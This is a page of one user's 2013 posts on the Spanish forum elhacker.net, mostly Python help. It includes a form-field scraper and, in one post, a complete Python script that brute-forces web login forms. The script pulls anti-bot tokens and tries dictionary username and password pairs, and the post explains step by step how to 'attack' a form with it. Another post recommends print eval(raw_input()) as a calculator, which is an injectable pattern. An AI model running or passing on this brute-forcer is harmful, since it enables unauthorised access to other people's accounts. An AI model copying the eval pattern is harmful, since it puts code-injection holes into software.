elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 24
51  Programación / Scripting / Re: [PYTHON] Menu opciones ¿Con funciones es lo correcto? en: 3 Abril 2013, 02:56 am
Si que he leído lo que has escrito. Pero es normal que tenga dudas. En todo caso, siempre recomiendan usar los menos posible el input. Yo utilizo la versión 2.7.3. Dicen, que usando el input se puede liar un follón. Osea, código malicioso y tal. Yo intento aprender con lo que leo en los manuales o tutoriales.

Un saludo!
Usar input() es más limpio que utilizar int(raw_input()) y es igual que usar input() , de una manera más sucia.
52  Programación / Scripting / Re: [PYTHON] Menu opciones ¿Con funciones es lo correcto? en: 30 Marzo 2013, 01:56 am
Pues es porque las variables num1 y num2 que pides los datos no son accesibles desde otro def, pues no son globales... Y usa input() no int(raw_input())

Creo que no leíste nada de lo que escribí más arriba u_u

Saludos, Javier.
53  Programación / Scripting / Re: [PYTHON] Menu opciones ¿Con funciones es lo correcto? en: 29 Marzo 2013, 01:49 am
Hola, muy buenos días.

Veo que ya te respondieron, sin embargo me gustaría poder exponer mi respuesta.

No necesariamente debemos crear una función con el menú de la aplicación a crear, pues eso podría ir dentro de un bucle "Infinito" (o mientras sea True), mediante el popular while. Posteriormente realizar un despliegue de las opciones que el usuario poseerá a lo largo de la utilización del programa (mediante print). Luego deberías pedir que el usuario ingrese una opción , ya sea mediante input() (numérico) o raw_input(). Todo depende si las opciones que despliegues son del tipo 1.- , 2.- , etc. Ó si son a) , b) , etc.

Ya teniendo eso tienes que hacer una comprobación de las opciones ingresadas y luego según la que escoja el usuario, llamas a la función (sumar, restar, multiplicar, dividir, etc) y por parámetros le pasas los números a procesar...

Esa sería una forma, la cuál no me gusta, ya que limitas a que el usuario simplemente maneje 2 números. Por eso prefiero esta calculadora:
Código
  1. print eval(raw_input("Operacion: ")
  2.  

Espero haber podido aclarar algunas dudas.

Saludos, Javier.
54  Programación / Scripting / Re: [Código-Python]Extractor de formularios+sus propiedades+Inputs - JaAViEr (0x5d) en: 22 Marzo 2013, 02:26 am
y a modo de pregunta, eso pa que?
Pues anteriormente hice un programa tipo bruteforce... Entonces por ahí va la cosa, luego ya subo el code completo de ambas y comentas :P
55  Programación / Scripting / Re: [Código-Python]Extractor de formularios+sus propiedades+Inputs - JaAViEr (0x5d) en: 21 Marzo 2013, 19:32 pm
Buen aporte JaAViEr !
Muchas gracias HackerNG ! , se agradece !
56  Programación / Scripting / [Código-Python]Extractor de formularios+sus propiedades+Inputs - JaAViEr (0x5d) en: 21 Marzo 2013, 16:59 pm
Hola, muy buen día a todos.

Volviendo a las canchas con Python, os traigo un detector de formularios, con las siguientes características :
  • Lee las urls dentro de un archivo de texto. Separando las url's por un ENTER
  • El programa detecta todos los formularios de las webs
  • Nos entregará propiedades del <form> , tipo "method", "name", "id", "onsubmit", etc
  • Devuelve los campos input de cada formulario, junto a sus propiedades, tipo "name", "value", "type", "id", "class", etc
Sin más preámbulos... El código :
Código
  1. # Autor : 0x5d - JaAViEr
  2. # Twitter : @0x5d
  3. import sys, urllib2, re
  4. try:
  5. urls = open(raw_input("Archivo ::> "), "r")
  6. except:
  7. print "Error al intentar abrir el archivo."
  8. sys.exit(1)
  9. for a in urls:
  10. web = urllib2.urlopen(a).read()
  11. busca_form = re.findall("<form(.*)>", web)
  12. for b in busca_form:
  13. url_action = re.findall("action=(.*)", b)[0].split()[0].translate(None, "><\"'").replace("&amp;","&")
  14. if len(url_action) == 0:
  15. url_action = a.replace("&amp;","&")
  16. print "\n\nURL:", url_action
  17. print "\nPropiedades del <form>:"
  18. formularios = web.split("<form")
  19. f = 0
  20. for c, d  in zip(b.split(), formularios):
  21. propiedades = re.findall("(.*)=\"(.*)\"", c)
  22. if propiedades and not "action" in propiedades[0][0]:
  23. print propiedades[0][0], ":", propiedades[0][1]
  24. inputs = re.findall("<input(.*)", web.split("<form")[f].split("</form>")[0])
  25. f += 1
  26. print "-"*20
  27. for g in inputs:
  28. print "<INPUT>:"
  29. for h in g.split():
  30. propiedades_input = re.findall("(.*)=(.*)", h)
  31. if propiedades_input and len(propiedades_input[0][0])>0:
  32. print propiedades_input[0][0], ":", propiedades_input[0][1].split(">")[0]
  33. print "-"*20
  34.  
  35.  
Ejemplo de archivo urls.txt:
Código
  1. http://www.vodale.com/chat_xxx/login.php
  2.  
Ojo que pueden poner muchas url's hacia abajo :P
Salida:
Código
  1. Archivo ::> urls.txt
  2.  
  3.  
  4. URL: http://www.vodale.com/chat_xxx/login.php
  5.  
  6. Propiedades del <form>:
  7. method : POST
  8. --------------------
  9. <INPUT>:
  10. type : "text"
  11. --------------------
  12. name : "log"
  13. --------------------
  14. <INPUT>:
  15. type : "text"
  16. --------------------
  17. name : pwd
  18. --------------------
  19. <INPUT>:
  20. type : "Submit"
  21. --------------------
  22. value : "Login"
  23. --------------------
  24.  
Como ven, dice <INPUT> y abajo la propiedad de cada input.
Un ejemplo con la salida de un SMF...
urls.txt
Código
  1. http://www.portalhacker.net/index.php?action=login
  2.  
Salida:
Código
  1.  
  2. Archivo ::> urls.rxr
  3.  
  4.  
  5. URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=login2
  6.  
  7. Propiedades del <form>:
  8. id : guest_form
  9. method : post
  10. accept-charset : UTF-8
  11. --------------------
  12. <INPUT>:
  13. type : "text"
  14. --------------------
  15. name : "user"
  16. --------------------
  17. size : "20"
  18. --------------------
  19. value : ""
  20. --------------------
  21. class : "input_text"
  22. --------------------
  23. <INPUT>:
  24. type : "password"
  25. --------------------
  26. name : "passwrd"
  27. --------------------
  28. value : ""
  29. --------------------
  30. size : "20"
  31. --------------------
  32. class : "input_password"
  33. --------------------
  34. <INPUT>:
  35. type : "text"
  36. --------------------
  37. name : "cookielength"
  38. --------------------
  39. size : "4"
  40. --------------------
  41. maxlength : "4"
  42. --------------------
  43. value : "90000"
  44. --------------------
  45. class : "input_text"
  46. --------------------
  47. <INPUT>:
  48. type : "checkbox"
  49. --------------------
  50. name : "cookieneverexp"
  51. --------------------
  52. class : "input_check"
  53. --------------------
  54. onclick : "this.form.cookielength.disabled
  55. --------------------
  56. <INPUT>:
  57. type : "submit"
  58. --------------------
  59. value : "Ingresar"
  60. --------------------
  61. class : "button_submit"
  62. --------------------
  63. <INPUT>:
  64. type : "hidden"
  65. --------------------
  66. name : "hash_passwrd"
  67. --------------------
  68. value : ""
  69. --------------------
  70.  
  71.  
  72. URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=search2
  73.  
  74. Propiedades del <form>:
  75. method : post
  76. accept-charset : UTF-8
  77. --------------------
  78. <INPUT>:
  79. type : "text"
  80. --------------------
  81. name : "search"
  82. --------------------
  83. class : "inputbox"
  84. --------------------
  85. value : "Buscar..."
  86. --------------------
  87. onfocus : "this.value
  88. --------------------
  89. onblur="if(this.value= : '')
  90. --------------------
  91. this.value : 'Buscar...';"
  92. --------------------
  93. <INPUT>:
  94. type : "hidden"
  95. --------------------
  96. name : "advanced"
  97. --------------------
  98. value : "0"
  99. --------------------
  100.  
  101.  
  102. URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=login2
  103.  
  104. Propiedades del <form>:
  105. name : frmLogin
  106. id : frmLogin
  107. method : post
  108. --------------------
  109. <INPUT>:
  110. type : "text"
  111. --------------------
  112. name : "user"
  113. --------------------
  114. size : "20"
  115. --------------------
  116. value : ""
  117. --------------------
  118. class : "input_text"
  119. --------------------
  120. <INPUT>:
  121. type : "password"
  122. --------------------
  123. name : "passwrd"
  124. --------------------
  125. value : ""
  126. --------------------
  127. size : "20"
  128. --------------------
  129. class : "input_password"
  130. --------------------
  131. <INPUT>:
  132. type : "text"
  133. --------------------
  134. name : "cookielength"
  135. --------------------
  136. size : "4"
  137. --------------------
  138. maxlength : "4"
  139. --------------------
  140. value : "90000"
  141. --------------------
  142. class : "input_text"
  143. --------------------
  144. <INPUT>:
  145. type : "checkbox"
  146. --------------------
  147. name : "cookieneverexp"
  148. --------------------
  149. class : "input_check"
  150. --------------------
  151. onclick : "this.form.cookielength.disabled
  152. --------------------
  153. <INPUT>:
  154. type : "submit"
  155. --------------------
  156. value : "Ingresar"
  157. --------------------
  158. class : "button_submit"
  159. --------------------
  160. <INPUT>:
  161. type : "hidden"
  162. --------------------
  163. name : "hash_passwrd"
  164. --------------------
  165. value : ""
  166. --------------------
  167.  
Ahí se aprecia mejor la salida de las propiedades del <form> ;D

Lo hice con un poco de inspiración :D , sé que nadie va a comentar , pero igual lo dejo por acá , quizás a alguien le llegue a servir el bichito ;D

Saludos , Javier.
57  Programación / Scripting / [Código-Python]Bruteforce logins - JaAViEr (0000x5d) en: 20 Marzo 2013, 21:31 pm
¡ Hola, buen día !

  Hace meses que no programaba, entre viajes, no había donde ni como programar... Y hoy por la mañana me entusiasmé y me puse a codear un BruteForce para algunos formularios que son "débiles". El funcionamiento es el típico ... Solo que tiene algo que lo hace un poco (por no decir "NADA") diferente. Le añadí la opción de extraer tokens que usualmente utilizan para seguridad anti-bots (lo que deja demostrado que siguen siendo inútiles los tokens :P). Sin más preámbulos, os enseñaré como utilizarlo .

Al correr el Python en cuestión , nos dirá "Se necesita token ?(s/n): "
Si el formulario que ustedes van a atacar, funciona con el sistemita ese de los tokens, entonces denle "s" o "S" y enter ... De ser así, os pedirá el nombre del campo del token que se envía , para así el programa buscarlo y poder enviarlo en cada petición...

De lo contrario, simplemente pongan n o N y al siguiente paso...

El siguiente es el vital y el que nos permitirá saber cuando nuestro login es válido ... Mensaje de error .

¿ Cómo saber dicho mensaje ?

Van al formulario, ingresan un usuario y contraseña incorrectos. Les devolverá algo tipo : "Credenciales inválidas", "Usuario o contraseña incorrectos", "Error al ingresar", ETC

Entonces nosotros tomamos una palabrita de ellas, "Error" o "incorrectos" o el que les salga a ustedes. Este mensaje es el que nos ayudará a ver que nuestro usuario & contraseña funcionen.

Posteriormente, el programa nos dirá "Campo user: " , que es el nombre del Input que envía el formulario , por ejemplo <input type="text" name="user"> , entonces ingresan "user".

Luego, "Campo password: ". Vamos al source y buscamos el type="password" , miramos su propiedad name (por ejemplo <input type="password" name="clave"> e ingresamos "clave" en el programa.

Seguido de eso, nos pedirá un "Archivo(Diccionario): " Que es con el diccionario que atacaremos el formulario, ahí ingresas la ruta de vuestro diccionario.

Y como ultima cosa, nos preguntará ... Campos adicionales ?(s/n)

Por si envía algún dato en hidden el formulario. La manera de insertar el campo es la siguiente:
NAME VALUE
Código:
Data:redirect_to /wp-admin
Data:remember_me 1
Que sería el equivalente a
Código
  1. <input type="hidden" name="redirect_to" value="/wp-admin">
  2. <input type="hidden" name="remember_me" value="1">
Luego dirá "Data:" y para correr el bruteforce, tipeamos "//brute" y paff , buscará el login correcto.
Código
  1. # Autor   : 0x5d || JaAViEr
  2. # Twitter : @0x5D
  3.  
  4. import urllib
  5. import sys
  6. import re
  7. import urllib2
  8.  
  9. class brute:
  10.  
  11. def __init__(self):
  12.  
  13.  
  14. self.nombre_token = ""
  15. self.valor_token = ""
  16. self.actualizar_formulario = ""
  17. global formulario
  18. formulario = {}
  19. self.buscar_hash = raw_input("Se necesita token ?(s/n): ")  
  20. self.buscar_hash = True if self.buscar_hash.lower() == "s" else False
  21. self.url_form = "" # URL donde se encuentra el formulario
  22. if self.buscar_hash:
  23. if self.extraer_token():
  24. print "Token FOUND"
  25. else:
  26. print "Token Not Found :( "
  27. self.url_to_post = "" # URL donde se envia el formulario
  28. self.mensaje_error = raw_input("Mensaje de Error: ") # Mensaje de error, para detectar un login correcto
  29. self.campo_usuario = raw_input("Campo user: ") # Nombre del campo (input) del usuario
  30. self.campo_password = raw_input("Campo password: ") # Nombre del campo (input) del password
  31. self.archivo_diccionario = raw_input("Archivo(Diccionario): ") # Archivo con Diccionario
  32. self.datos_adicionales = raw_input("Campos adicionales? (s/n): ")
  33. self.respuesta_adicionales = True if self.datos_adicionales.lower() == "s" else False
  34. self.estado_token = True
  35. if self.respuesta_adicionales:
  36. self.agregar_campos()
  37. self.bruteforce()
  38.  
  39. def agregar_campos(self):
  40. formulario = {}
  41. while self.respuesta_adicionales:
  42. data = raw_input('Data: ')
  43. parse_data = data.split(" ")
  44. if data != "//brute":
  45. formulario.update({parse_data[0]:parse_data[1]})
  46. print formulario
  47. else:
  48. break
  49.  
  50. def extraer_token(self):
  51.  
  52. estado_token = True
  53. if len(self.nombre_token)<=0:
  54. self.nombre_token = raw_input("Nombre del token: ")
  55. while estado_token:
  56. try:
  57. buscar = urllib2.urlopen(self.url_form)
  58. if self.nombre_token in buscar.read():
  59.  
  60. estado_token = False
  61. buscar_token = urllib2.urlopen(self.url_form)
  62. found = re.findall("name=\"%s\" (.*)"%self.nombre_token, buscar_token.read())
  63. if len(found)>0:
  64.  
  65. for i in range(len(found)):
  66.  
  67. if "value=\"" in found[i]:
  68. self.split_token = re.findall("value=\"(.*)\"", found[i])
  69. self.valor_token = self.split_token[0]
  70. return True
  71. else:
  72. return False
  73. else:
  74. return False
  75. else:
  76. return False
  77. except:
  78. return False
  79.  
  80. def bruteforce(self):
  81. cookie = urllib2.HTTPCookieProcessor()
  82. opener = urllib2.build_opener(cookie)
  83. urllib2.install_opener(opener)
  84. estado_archivo = True
  85. while estado_archivo:
  86. try:
  87. cargar_diccionario = open(self.archivo_diccionario, "r")
  88. separar_datos = cargar_diccionario.read().split("\n")
  89. estado_archivo = False
  90. except:
  91. print "No se encuentra el archivo mencionado"
  92. self.archivo_diccionario = raw_input("Archivo(Diccionario): ")
  93. print "Buscando el login correcto ..."
  94. for users in separar_datos:
  95.  
  96. for passwords in separar_datos:
  97.  
  98. if self.buscar_hash:
  99. datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords, self.nombre_token:self.valor_token})
  100. else:
  101. datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords})
  102.  
  103. enviar_formulario = urllib2.urlopen(self.url_to_post, urllib.urlencode(formulario))
  104. if self.mensaje_error in enviar_formulario.read():
  105. print ".",
  106. else:
  107. print "\nFound User:%s - Password:%s"%(users, passwords)
  108. sys.exit(1)
  109. cargar_diccionario.close()
  110.  
  111. bf = brute()
  112.  
Le faltan mil cosas por pulir ... Luego lo pasaré para que lea parámetros por ARGV .

Para ingresar la URL del formulario deben editar la línea :
Código
  1. self.url_form = "" # URL DEL FORMULARIO
  2. self.url_to_post = "" # URL DONDE SE ENVIA EL FORM
  3.  
Ojo, que a veces el formulario envía el POST al mismo archivo, pero no siempre ! .
Pido el URL del formulario para poder extraer los tokens previo envío , posteriormente, envío todos los datos a la URL que procesa los datos ;D

Espero sea de su agrado.

Fuente : http://www.vodale.com/blog

Saludos, Javier.
58  Programación / Scripting / Re: con que extecion guardo los Scripting bash para que se ejecuten en backtrack en: 18 Marzo 2013, 18:53 pm
Y si no tienes permisos de ejecución, recuerda darle un chmod +x Script.sh , para luego ejecutar :
$ jaavier@debian: ./Script.sh

Saludos.
59  Programación / Scripting / Re: ayuda autoclik en: 18 Marzo 2013, 02:10 am
Puedes programar tu propio script autoclicker. Creo que te conviene utilizar en este caso AutoIt
60  Programación / Scripting / Re: [?] Ruby, Perl, Python en: 16 Febrero 2013, 03:33 am
Lo siguiente es basado en mi experiencia personal.

Python. ¿ Por qué ?

Si analizas los códigos su sintaxis es de lo más simple, sus "comandos" son muy fáciles de recordar y se asocian mucho a hablarle a la maquina en inglés de una manera más simple, por lo que entender códigos en Python es mucho más fácil, pues con ya saber algo de inglés básico, podrás ser capaz de entender un código python de complejidad básica-media. Por ende, elaborar códigos será mucho más fácil, cabe destacar que su sintaxis es algo limpia, pues es estructurado, en pocas líneas puedes realizar grandes cosas.

Saludos, Javier.
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 24
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines